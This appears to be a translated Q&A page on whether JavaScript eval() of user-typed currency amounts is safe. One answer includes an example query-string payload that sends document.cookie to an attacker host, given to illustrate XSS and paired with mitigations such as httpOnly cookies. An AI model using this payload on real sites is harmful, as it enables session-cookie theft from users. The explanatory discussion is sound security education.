5

重複の可能性:
JavaScript の eval() が悪でないのはいつですか?

私は、ユーザーが通貨金額を書かなければならないスクリプトを書いています。いくつかの例は、(ユーザー入力 >> に変換) で、デフォルトの通貨として USD を使用しています。

50       >> 50.0 USD
50.5     >> 50.5 USD
50+1 USD >> 51.0 USD
50 GBP   >> 50.0 GBP

これをできるだけスムーズにしたいので、JavaScriptを使いたいです(PHP/MySql + JavaScriptに基づくWebアプリです)。eval()正規表現を使用して入力をフィルタリングし、実行して返したいと思います。

これは悪い考えですか?eval()セキュリティの問題についていくつかのトピックを読みました。方法がわかりません。とにかく、ユーザーは簡単に JavaScript を実行できますか?

後の段階で、サーバー側のすべての入力を PHP で検証することに注意してください。

4

2 に答える 2

12

エンドユーザーは、ブラウザーの開発者コンソールを介して、とにかく任意のJavaScriptを簡単に実行できます(私はこれを常に実行しています)。あなたが心配しなければならないのは、攻撃者がeval自分の目的のために使用するあなたの機能を乗っ取るということです。

一般に危険と見なされる理由evalは、信頼できないコードが侵入しやすいためです。入力ボックスにクエリ文字列の値が事前に入力されている、クエリ文字列を介して入力を指定できるページについて考えてみます。

攻撃者は、ユーザーのログインCookieを盗むコードを含むリンクを拡散する可能性があります。

/some/url?amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie;

(明らかに適切なURLエンコードが必要です。これは説明用です。)

または、検証が失敗したときに、PHPスクリプトが投稿されたデータをフォームにエコーバックする可能性があります。攻撃者は、同じCookieを盗むコードを使用してフォームに投稿する特別に細工されたフォームを作成する可能性があります。

これらの各攻撃は、Cookieを使用するhttpOnlyか(ログインCookieの盗難を防ぐため)、データが確実にサニタイズされるようにすることで軽減できます。ただし、これは、問題が発生する可能性のある完全なリストにさえ近いわけではありません。たとえば、挿入されたスクリプトは、金額フィールドに1000を挿入し、その金額を攻撃者のアカウントに送金しようとする可能性があります(これが送金ページの場合)。

正規表現を使用して入力をサニタイズしているという事実を考慮しても、必ずしも保護されるとは限りません。任意のJavaScriptを完全に角かっこで記述することができます。

つまり、入力がテキストフィールドに入る唯一の方法がユーザー入力によるものであることを絶対に確認できれば、問題はありません。ユーザーは、他の方法ではできないことを何も得ていません。コンソール経由。ただし、攻撃者が何らかの方法で自分のデータをそのフィールドに取り込むことができる場合、evalそれを実行すると脆弱性にさらされる可能性があります。

参照:

于 2012-10-31T21:28:30.150 に答える
11

必要な方はご利用ください。

これは、セキュリティと、「eval()」に対する他の一般的な反対意見の両方について説明している良いリンクです。

セキュリティはどうですか?あなたのソフトウェアが eval にその引数を提供しているのであれば、この面で恐れることはほとんどありません。確かに、入力ボックスの値を評価するのは賢明ではありませんが、独自のサーバー コードによって生成された応答に対して eval を実行しても、特別なリスクはありません。また、攻撃者がクライアント側の評価で行うことができる損害は、最新のブラウザー コンソールではより簡単に達成できなかったことに注意してください。

私見では ...

于 2012-10-31T21:08:26.313 に答える